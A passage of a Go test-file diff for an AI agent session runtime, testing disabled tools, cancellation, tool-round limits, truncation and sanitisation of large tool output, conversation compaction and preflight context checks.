+		t.Fatalf("messages = %#v, want original user message only", result.Messages)
+	}
+}
+
+func TestSessionDisabledToolsOmitToolsAndReturnsDisabledResults(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	args.Set("value", "hello")
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "echo_tool",
+						Arguments: args,
+					},
+				}}},
+			}},
+			{{Message: api.Message{Role: "assistant", Content: "tools are off"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(staticTool{})
+	events := &recordingEventSink{}
+	session := &Session{
+		Client:       client,
+		EventSinks:   []EventSink{events},
+		Tools:        registry,
+		DisableTools: true,
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		ChatID:      "chat-1",
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(client.requests) != 2 {
+		t.Fatalf("requests = %d, want 2", len(client.requests))
+	}
+	if got := len(client.requests[0].Tools); got != 0 {
+		t.Fatalf("advertised tools = %d, want 0", got)
+	}
+	secondMessages := client.requests[1].Messages
+	if len(secondMessages) != 3 {
+		t.Fatalf("second request messages = %#v", secondMessages)
+	}
+	if secondMessages[2].Role != "tool" || secondMessages[2].ToolCallID != "call-1" || secondMessages[2].Content != toolExecutionDisabledMessage {
+		t.Fatalf("disabled tool message = %#v", secondMessages[2])
+	}
+	if len(result.Messages) != 4 || result.Messages[2].Content != toolExecutionDisabledMessage {
+		t.Fatalf("result messages = %#v", result.Messages)
+	}
+	var sawDetected, sawDisabled bool
+	for _, event := range events.events {
+		if event.Type == EventToolCallDetected {
+			sawDetected = true
+		}
+		if event.Type == EventToolFinished && event.Status == "disabled" && event.Content == toolExecutionDisabledMessage {
+			sawDisabled = true
+		}
+	}
+	if !sawDetected || !sawDisabled {
+		t.Fatalf("events missing detected/disabled: %#v", events.events)
+	}
+}
+
+func TestSessionCancellationAfterToolCallAppendsSkippedToolMessage(t *testing.T) {
+	ctx, cancel := context.WithCancel(context.Background())
+	registry := &Registry{}
+	registry.Register(staticTool{})
+	session := &Session{
+		Client:        cancelAfterToolCallClient{cancel: cancel},
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+	}
+
+	result, err := session.Run(ctx, RunOptions{
+		ChatID:      "chat-1",
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "cancel after tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v", result.Messages)
+	}
+	if len(result.Messages[1].ToolCalls) != 1 {
+		t.Fatalf("assistant tool calls = %#v", result.Messages[1])
+	}
+	if result.Messages[2].Role != "tool" || result.Messages[2].ToolCallID != "call-1" {
+		t.Fatalf("skipped tool message = %#v", result.Messages[2])
+	}
+	if !strings.Contains(result.Messages[2].Content, "run was canceled") {
+		t.Fatalf("skipped content = %q", result.Messages[2].Content)
+	}
+}
+
+func TestSessionCancellationDuringToolExecutionAppendsToolMessage(t *testing.T) {
+	ctx, cancel := context.WithCancel(context.Background())
+	events := &recordingEventSink{}
+	registry := &Registry{}
+	registry.Register(cancelingTool{cancel: cancel})
+	client := &fakeClient{responses: [][]api.ChatResponse{{
+		{Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+			ID: "call-1",
+			Function: api.ToolCallFunction{
+				Name: "cancel_tool",
+			},
+		}}}},
+	}}}
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+		EventSinks:    []EventSink{events},
+	}
+
+	result, err := session.Run(ctx, RunOptions{
+		ChatID:      "chat-1",
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "cancel during tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(result.Messages) != 3 {
+		t.Fatalf("messages = %#v", result.Messages)
+	}
+	if result.Messages[2].Role != "tool" || result.Messages[2].ToolCallID != "call-1" {
+		t.Fatalf("tool message = %#v", result.Messages[2])
+	}
+	if !strings.Contains(result.Messages[2].Content, "context canceled") {
+		t.Fatalf("tool content = %q", result.Messages[2].Content)
+	}
+	var finished *Event
+	for i := range events.events {
+		if events.events[i].Type == EventRunFinished {
+			finished = &events.events[i]
+		}
+	}
+	if finished == nil {
+		t.Fatalf("run finished event missing: %#v", events.events)
+	}
+	if finished.Status != "canceled" {
+		t.Fatalf("run status = %q, want canceled", finished.Status)
+	}
+}
+
+func TestSessionToolLoopAllowsRoundsUnderDefaultCap(t *testing.T) {
+	responses := make([][]api.ChatResponse, 0, 26)
+	for i := range 25 {
+		args := api.NewToolCallFunctionArguments()
+		args.Set("value", "hello")
+		responses = append(responses, []api.ChatResponse{{
+			Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+				ID: "call-" + string(rune('a'+i)),
+				Function: api.ToolCallFunction{
+					Name:      "echo_tool",
+					Arguments: args,
+				},
+			}}},
+		}})
+	}
+	responses = append(responses, []api.ChatResponse{{
+		Message: api.Message{Role: "assistant", Content: "done"},
+	}})
+
+	client := &fakeClient{responses: responses}
+	registry := &Registry{}
+	registry.Register(staticTool{})
+
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+	}
+
+	if _, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "keep going"}},
+	}); err != nil {
+		t.Fatal(err)
+	}
+
+	if client.calls != 26 {
+		t.Fatalf("client calls = %d, want 26", client.calls)
+	}
+}
+
+func TestSessionToolRoundLimitAppendsSkippedToolMessages(t *testing.T) {
+	firstArgs := api.NewToolCallFunctionArguments()
+	firstArgs.Set("value", "first")
+	secondArgs := api.NewToolCallFunctionArguments()
+	secondArgs.Set("value", "second")
+	thirdArgs := api.NewToolCallFunctionArguments()
+	thirdArgs.Set("value", "third")
+
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "echo_tool",
+						Arguments: firstArgs,
+					},
+				}}},
+			}},
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{
+					{
+						ID: "call-2",
+						Function: api.ToolCallFunction{
+							Name:      "echo_tool",
+							Arguments: secondArgs,
+						},
+					},
+					{
+						ID: "call-3",
+						Function: api.ToolCallFunction{
+							Name:      "echo_tool",
+							Arguments: thirdArgs,
+						},
+					},
+				}},
+			}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(staticTool{})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		ChatID:        "chat-1",
+		Model:         "model",
+		NewMessages:   []api.Message{{Role: "user", Content: "hit cap"}},
+		MaxToolRounds: 1,
+	})
+	if err == nil || !strings.Contains(err.Error(), "tool round limit reached after 1 rounds") {
+		t.Fatalf("error = %v, want tool-round limit", err)
+	}
+	if result == nil {
+		t.Fatal("expected partial result with skipped tool messages")
+	}
+	if len(result.Messages) != 6 {
+		t.Fatalf("messages = %#v", result.Messages)
+	}
+	for i, wantID := range []string{"call-2", "call-3"} {
+		msg := result.Messages[4+i]
+		if msg.Role != "tool" || msg.ToolCallID != wantID {
+			t.Fatalf("skipped tool %d = %#v", i, msg)
+		}
+		if !strings.Contains(msg.Content, "max tool-round limit of 1") {
+			t.Fatalf("skipped content = %q", msg.Content)
+		}
+	}
+}
+
+func TestSessionToolLoopStopsAtDefaultRoundCap(t *testing.T) {
+	responses := make([][]api.ChatResponse, 0, defaultMaxToolRounds+1)
+	for range defaultMaxToolRounds + 1 {
+		args := api.NewToolCallFunctionArguments()
+		args.Set("value", "hello")
+		responses = append(responses, []api.ChatResponse{{
+			Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+				ID: "call",
+				Function: api.ToolCallFunction{
+					Name:      "echo_tool",
+					Arguments: args,
+				},
+			}}},
+		}})
+	}
+
+	client := &fakeClient{responses: responses}
+	registry := &Registry{}
+	registry.Register(staticTool{})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+	}
+
+	_, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "keep going"}},
+	})
+	if err == nil || !strings.Contains(err.Error(), "tool round limit reached after 100 rounds") {
+		t.Fatalf("error = %v, want default tool round limit", err)
+	}
+	if client.calls != defaultMaxToolRounds+1 {
+		t.Fatalf("client calls = %d, want %d", client.calls, defaultMaxToolRounds+1)
+	}
+}
+
+func TestSessionToolLoopNegativeLimitIsUnlimited(t *testing.T) {
+	responses := make([][]api.ChatResponse, 0, defaultMaxToolRounds+2)
+	for range defaultMaxToolRounds + 1 {
+		args := api.NewToolCallFunctionArguments()
+		args.Set("value", "hello")
+		responses = append(responses, []api.ChatResponse{{
+			Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+				ID: "call",
+				Function: api.ToolCallFunction{
+					Name:      "echo_tool",
+					Arguments: args,
+				},
+			}}},
+		}})
+	}
+	responses = append(responses, []api.ChatResponse{{
+		Message: api.Message{Role: "assistant", Content: "done"},
+	}})
+
+	client := &fakeClient{responses: responses}
+	registry := &Registry{}
+	registry.Register(staticTool{})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+	}
+
+	if _, err := session.Run(context.Background(), RunOptions{
+		Model:         "model",
+		NewMessages:   []api.Message{{Role: "user", Content: "keep going"}},
+		MaxToolRounds: -1,
+	}); err != nil {
+		t.Fatal(err)
+	}
+	if client.calls != defaultMaxToolRounds+2 {
+		t.Fatalf("client calls = %d, want %d", client.calls, defaultMaxToolRounds+2)
+	}
+}
+
+func TestSessionTruncatesLargeToolResultsBeforeHistory(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "large_tool",
+						Arguments: args,
+					},
+				}}},
+			}},
+			{{Message: api.Message{Role: "assistant", Content: "done"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(largeTool{})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		ChatID:      "chat-1",
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(result.Messages) < 3 {
+		t.Fatalf("messages = %#v", result.Messages)
+	}
+	content := result.Messages[2].Content
+	if !strings.Contains(content, "[tool output truncated: showing first ~") ||
+		!strings.Contains(content, "omitted ~25 tokens") ||
+		!strings.Contains(content, "Use a narrower command, line range, or search query") {
+		t.Fatalf("tool content missing truncation marker: %q", content)
+	}
+	if strings.Count(content, "x") != maxToolResultRunes {
+		t.Fatalf("truncated content x count = %d, want %d", strings.Count(content, "x"), maxToolResultRunes)
+	}
+	requestContent := client.requests[1].Messages[2].Content
+	if !strings.Contains(requestContent, "[tool output truncated: showing first ~") {
+		t.Fatalf("second model request did not use capped tool content: %q", requestContent)
+	}
+	if strings.Count(requestContent, "x") > maxToolResultRunes {
+		t.Fatalf("request tool content x count = %d, want at most %d", strings.Count(requestContent, "x"), maxToolResultRunes)
+	}
+}
+
+func TestSessionSmallContextUsesLowerToolResultPreviewCap(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "large_tool",
+						Arguments: args,
+					},
+				}}},
+			}},
+			{{Message: api.Message{Role: "assistant", Content: "done"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(largeTool{})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+		Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{
+			ContextWindowTokens: smallContextToolResultTokenWindow,
+		}},
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	content := result.Messages[2].Content
+	if !strings.Contains(content, "[tool output truncated: showing first ~") ||
+		!strings.Contains(content, "Use a narrower command, line range, or search query") {
+		t.Fatalf("tool content missing small-context preview marker: %q", content)
+	}
+	if xCount := strings.Count(content, "x"); xCount != smallContextToolResultRunes {
+		t.Fatalf("small-context tool content x count = %d, want %d", xCount, smallContextToolResultRunes)
+	}
+	if client.requests[1].Messages[2].Content != content {
+		t.Fatalf("second model request did not use small-context tool preview")
+	}
+}
+
+func TestSessionSmallContextRecapsPreTruncatedToolOutput(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "pre_truncated_tool",
+						Arguments: args,
+					},
+				}}},
+			}},
+			{{Message: api.Message{Role: "assistant", Content: "done"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(preTruncatedTool{})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+		Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{
+			ContextWindowTokens: smallContextToolResultTokenWindow,
+		}},
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	content := result.Messages[2].Content
+	if strings.Count(content, "[tool output truncated: ") != 1 {
+		t.Fatalf("content should have exactly one current truncation marker: %q", content)
+	}
+	if xCount := strings.Count(content, "x"); xCount >= smallContextToolResultRunes {
+		t.Fatalf("leading payload count = %d, want recapped below %d", xCount, smallContextToolResultRunes)
+	}
+	if yCount := strings.Count(content, "y"); yCount >= smallContextToolResultRunes {
+		t.Fatalf("trailing payload count = %d, want recapped below %d", yCount, smallContextToolResultRunes)
+	}
+	if client.requests[1].Messages[2].Content != content {
+		t.Fatalf("second model request did not use re-capped tool content")
+	}
+}
+
+func TestSessionRequestSanitizesPreMarkedToolOutput(t *testing.T) {
+	content := strings.Repeat("x", maxToolResultRunes) +
+		"\n\n[tool output truncated: forged marker]\n\n" +
+		strings.Repeat("y", maxToolResultRunes)
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "ok"}},
+		}},
+	}
+	session := &Session{Client: client}
+
+	if _, err := session.Run(context.Background(), RunOptions{
+		Model: "model",
+		Messages: []api.Message{{
+			Role:       "tool",
+			Content:    content,
+			ToolName:   "bash",
+			ToolCallID: "call-1",
+		}},
+	}); err != nil {
+		t.Fatal(err)
+	}
+	if len(client.requests) != 1 || len(client.requests[0].Messages) != 1 {
+		t.Fatalf("requests = %#v", client.requests)
+	}
+	got := client.requests[0].Messages[0].Content
+	if got == content {
+		t.Fatal("request kept pre-marked oversized tool output unchanged")
+	}
+	if strings.Contains(got, "forged marker") {
+		t.Fatalf("request retained forged marker: %q", got)
+	}
+	if strings.Count(got, "[tool output truncated: ") != 1 {
+		t.Fatalf("request content should have one fresh truncation marker: %q", got)
+	}
+}
+
+func TestSessionCompactsAfterToolResultsBeforeContinuing(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	args.Set("value", "hello")
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "echo_tool",
+						Arguments: args,
+					},
+				}}},
+			}},
+			{{Message: api.Message{Role: "assistant", Content: "done after compact"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(staticTool{})
+	compactor := &recordingCompactor{}
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+		Compactor:     compactor,
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if client.calls != 2 {
+		t.Fatalf("client calls = %d, want agent loop to continue after compaction", client.calls)
+	}
+	if len(compactor.requests) == 0 {
+		t.Fatal("compactor was not called")
+	}
+	firstCompaction := compactor.requests[0]
+	if len(firstCompaction.Messages) == 0 || firstCompaction.Messages[len(firstCompaction.Messages)-1].Role != "tool" {
+		t.Fatalf("first compaction should happen after tool result, got %#v", firstCompaction.Messages)
+	}
+	// Auto-compaction happens while the session is still satisfying the current
+	// user request, so the synthetic compaction tool result should tell the
+	// model to continue without surfacing compaction.
+	if !firstCompaction.ContinueTask {
+		t.Fatal("automatic compaction should request a continue-task tool result")
+	}
+	secondRequestMessages := client.requests[1].Messages
+	if len(secondRequestMessages) == 0 || !strings.Contains(secondRequestMessages[len(secondRequestMessages)-1].Content, "tool result summarized") {
+		t.Fatalf("second model request did not use compacted messages: %#v", secondRequestMessages)
+	}
+	if got := result.Messages[len(result.Messages)-1].Content; got != "done after compact" {
+		t.Fatalf("final response = %q", got)
+	}
+}
+
+func TestSessionStopsWhenCompactedHistoryStillExceedsContext(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	args.Set("value", "hello")
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "echo_tool",
+						Arguments: args,
+					},
+				}}},
+			}},
+			{{Message: api.Message{Role: "assistant", Content: "should not run"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(staticTool{})
+	events := &recordingEventSink{}
+	compactor := &oversizedCompactor{}
+	session := &Session{
+		Client:        client,
+		EventSinks:    []EventSink{events},
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+		Compactor:     compactor,
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+		Options:     map[string]any{"num_ctx": 512},
+	})
+	if err == nil {
+		t.Fatal("expected post-compaction context error")
+	}
+	if !strings.Contains(err.Error(), "still too large after compaction") || !strings.Contains(err.Error(), "fresh request") {
+		t.Fatalf("error = %q, want actionable post-compaction guidance", err.Error())
+	}
+	if result == nil {
+		t.Fatal("expected partial result with compacted messages")
+	}
+	if client.calls != 1 || len(client.requests) != 1 {
+		t.Fatalf("client calls = %d requests = %d, want no request after oversized compaction", client.calls, len(client.requests))
+	}
+	if len(compactor.requests) != 1 {
+		t.Fatalf("compactor requests = %d, want 1", len(compactor.requests))
+	}
+	if !hasEventType(events.events, EventCompacted) {
+		t.Fatalf("events missing compacted event: %#v", events.events)
+	}
+	if !hasEventType(events.events, EventError) {
+		t.Fatalf("events missing post-compaction error: %#v", events.events)
+	}
+	if len(result.Messages) == 0 || !strings.Contains(result.Messages[len(result.Messages)-1].Content, "Conversation summary:") {
+		t.Fatalf("result should retain compacted summary messages: %#v", result.Messages)
+	}
+}
+
+func TestSessionContextCapsToolResultBeforeCompaction(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "large_tool",
+						Arguments: args,
+					},
+				}}},
+			}},
+			{{Message: api.Message{Role: "assistant", Content: "done"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(largeTool{})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+		Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{
+			ContextWindowTokens: 100,
+			Threshold:           0.8,
+		}},
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	content := result.Messages[2].Content
+	if !strings.Contains(content, "[tool output truncated: ") ||
+		!strings.Contains(content, "Use a narrower command, line range, or search query") {
+		t.Fatalf("tool content missing truncation marker: %q", content)
+	}
+	if xCount := strings.Count(content, "x"); xCount >= maxToolResultRunes {
+		t.Fatalf("context-capped content x count = %d, want less than hard cap", xCount)
+	}
+	if client.requests[1].Messages[2].Content != content {
+		t.Fatalf("second model request did not use context-capped tool content")
+	}
+}
+
+func TestSessionCompactsThenReattachesFullyOmittedToolResult(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "large_tool",
+						Arguments: args,
+					},
+				}}},
+			}},
+			{{Message: api.Message{Role: "assistant", Content: "older history summarized"}}},
+			{{Message: api.Message{Role: "assistant", Content: "done with result"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(largeTool{})
+	session := &Session{
+		Client:        client,
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+		Compactor: &SimpleCompactor{Client: client, Options: CompactionOptions{
+			ContextWindowTokens: smallContextToolResultTokenWindow,
+			Threshold:           0.45,
+		}},
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		Messages:    []api.Message{{Role: "user", Content: strings.Repeat("history ", 2000)}},
+		NewMessages: []api.Message{{Role: "user", Content: "use a large tool"}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if client.calls != 3 {
+		t.Fatalf("client calls = %d, want model, compaction, model", client.calls)
+	}
+	if len(client.requests) != 3 {
+		t.Fatalf("requests = %d, want 3", len(client.requests))
+	}
+
+	nextRequestMessages := client.requests[2].Messages
+	if len(nextRequestMessages) != 4 {
+		t.Fatalf("next model request messages = %#v, want summary pair plus tool call/result", nextRequestMessages)
+	}
+	if nextRequestMessages[0].Role != "assistant" || len(nextRequestMessages[0].ToolCalls) != 1 || nextRequestMessages[0].ToolCalls[0].Function.Name != CompactionToolName {
+		t.Fatalf("first message should be compaction summary tool call: %#v", nextRequestMessages[0])
+	}
+	if nextRequestMessages[1].Role != "tool" || nextRequestMessages[1].ToolName != CompactionToolName || !strings.Contains(nextRequestMessages[1].Content, "older history summarized") {
+		t.Fatalf("second message should be compaction summary result: %#v", nextRequestMessages[1])
+	}
+	if nextRequestMessages[2].Role != "assistant" || len(nextRequestMessages[2].ToolCalls) != 1 || nextRequestMessages[2].ToolCalls[0].ID != "call-1" {
+		t.Fatalf("third message should be original assistant tool call: %#v", nextRequestMessages[2])
+	}
+	toolResult := nextRequestMessages[3]
+	if toolResult.Role != "tool" || toolResult.ToolName != "large_tool" || toolResult.ToolCallID != "call-1" {
+		t.Fatalf("fourth message should be reattached large tool result: %#v", toolResult)
+	}
+	if toolOutputFullyOmitted(toolResult.Content) {
+		t.Fatalf("tool result should be re-fitted after compaction, got full omission marker: %q", toolResult.Content)
+	}
+	if !strings.Contains(toolResult.Content, "[tool output truncated: showing first ~") {
+		t.Fatalf("tool result should still be bounded after compaction: %q", toolResult.Content)
+	}
+	if strings.Count(toolResult.Content, "x") != smallContextToolResultRunes {
+		t.Fatalf("tool result x count = %d, want %d", strings.Count(toolResult.Content, "x"), smallContextToolResultRunes)
+	}
+	if got := result.Messages[len(result.Messages)-1].Content; got != "done with result" {
+		t.Fatalf("final response = %q", got)
+	}
+}
+
+func TestSessionEmitsAutoCompactionActivityEvents(t *testing.T) {
+	args := api.NewToolCallFunctionArguments()
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{{
+				Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{
+					ID: "call-1",
+					Function: api.ToolCallFunction{
+						Name:      "large_tool",
+						Arguments: args,
+					},
+				}}},
+			}},
+			{{Message: api.Message{Role: "assistant", Content: "summary"}, Metrics: api.Metrics{EvalCount: 7}}},
+			{{Message: api.Message{Role: "assistant", Content: "done"}}},
+		},
+	}
+	registry := &Registry{}
+	registry.Register(largeTool{})
+	events := &recordingEventSink{}
+	session := &Session{
+		Client:        client,
+		EventSinks:    []EventSink{events},
+		Tools:         registry,
+		ApprovalState: approvalStateForTest(true, nil),
+		Compactor: &SimpleCompactor{Client: client, Options: CompactionOptions{
+			ContextWindowTokens: 300,
+			Threshold:           0.3,
+		}},
+	}
+
+	if _, err := session.Run(context.Background(), RunOptions{
+		Model:       "model",
+		NewMessages: []api.Message{{Role: "user", Content: "use a tool"}},
+	}); err != nil {
+		t.Fatal(err)
+	}
+
+	if !hasEventType(events.events, EventCompactionStarted) {
+		t.Fatalf("events missing compaction start: %#v", events.events)
+	}
+	if !hasEventWithTokens(events.events, EventCompactionProgress, 7) {
+		t.Fatalf("events missing compaction progress tokens: %#v", events.events)
+	}
+	if !hasEventType(events.events, EventCompacted) {
+		t.Fatalf("events missing compacted event: %#v", events.events)
+	}
+}
+
+func TestSessionTruncatesSeededToolMessagesBeforeHistory(t *testing.T) {
+	largeContent := strings.Repeat("x", maxToolResultRunes+100)
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "done"}},
+		}},
+	}
+	session := &Session{
+		Client: client,
+	}
+
+	result, err := session.Run(context.Background(), RunOptions{
+		ChatID: "chat-1",
+		Model:  "model",
+		NewMessages: []api.Message{
+			{Role: "user", Content: "use seeded tool"},
+			{Role: "tool", ToolName: "example_tool", ToolCallID: "call-1", Content: largeContent},
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(result.Messages) < 2 {
+		t.Fatalf("messages = %#v", result.Messages)
+	}
+	content := result.Messages[1].Content
+	if !strings.Contains(content, "[tool output truncated: showing first ~") ||
+		!strings.Contains(content, "omitted ~25 tokens") {
+		t.Fatalf("seeded tool content missing truncation marker: %q", content)
+	}
+	requestContent := client.requests[0].Messages[1].Content
+	if !strings.Contains(requestContent, "[tool output truncated: showing first ~") {
+		t.Fatalf("model request did not use capped seeded tool content: %q", requestContent)
+	}
+	if strings.Count(requestContent, "x") > maxToolResultRunes {
+		t.Fatalf("request seeded tool content x count = %d, want at most %d", strings.Count(requestContent, "x"), maxToolResultRunes)
+	}
+}
+
+func TestSessionPreflightRejectsOversizedFirstRequest(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "should not run"}},
+		}},
+	}
+	events := &recordingEventSink{}
+	session := &Session{
+		Client:     client,
+		EventSinks: []EventSink{events},
+		Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{
+			ContextWindowTokens: 128,
+		}},
+	}
+
+	_, err := session.Run(context.Background(), RunOptions{
+		ChatID:       "chat-1",
+		Model:        "model",
+		SystemPrompt: strings.Repeat("system instructions ", 200),
+		NewMessages:  []api.Message{{Role: "user", Content: "hello"}},
+	})
+	if err == nil {
+		t.Fatal("expected preflight context error")
+	}
+	if !strings.Contains(err.Error(), "Reduce the system prompt or message history") || !strings.Contains(err.Error(), "compact the conversation") {
+		t.Fatalf("error = %q, want actionable prompt guidance", err.Error())
+	}
+	if len(client.requests) != 0 {
+		t.Fatalf("chat requests = %d, want none before preflight passes", len(client.requests))
+	}
+	if !hasEventType(events.events, EventError) {
+		t.Fatalf("events missing error: %#v", events.events)
+	}
+}
+
+func TestSessionPreflightIgnoresRawImageBytes(t *testing.T) {
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{{
+			{Message: api.Message{Role: "assistant", Content: "image received"}},
+		}},
+	}
+	session := &Session{
+		Client: client,
+		Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{
+			ContextWindowTokens: 128,
+		}},
+	}
+
+	image := make(api.ImageData, 64*1024)
+	result, err := session.Run(context.Background(), RunOptions{
+		ChatID: "chat-1",
+		Model:  "model",
+		NewMessages: []api.Message{{
+			Role:    "user",
+			Content: "describe this image",
+			Images:  []api.ImageData{image},
+		}},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(client.requests) != 1 {
+		t.Fatalf("chat requests = %d, want 1", len(client.requests))
+	}
+	if got := client.requests[0].Messages[0].Images; len(got) != 1 || len(got[0]) != len(image) {
+		t.Fatalf("request images = %#v, want original image payload", got)
+	}
+	if len(result.Messages) == 0 || result.Messages[len(result.Messages)-1].Content != "image received" {
+		t.Fatalf("result messages = %#v", result.Messages)
+	}
+}
+
+func TestSessionFreezesBatchToolWorkingDirAfterApproval(t *testing.T) {
+	root := t.TempDir()
+	if err := os.Mkdir(filepath.Join(root, "sub"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	setArgs := api.NewToolCallFunctionArguments()
+	setArgs.Set("mode", "set")
+	setArgs.Set("path", "sub")
+	echoArgs := api.NewToolCallFunctionArguments()
+	echoArgs.Set("mode", "echo")
+
+	client := &fakeClient{
+		responses: [][]api.ChatResponse{
+			{
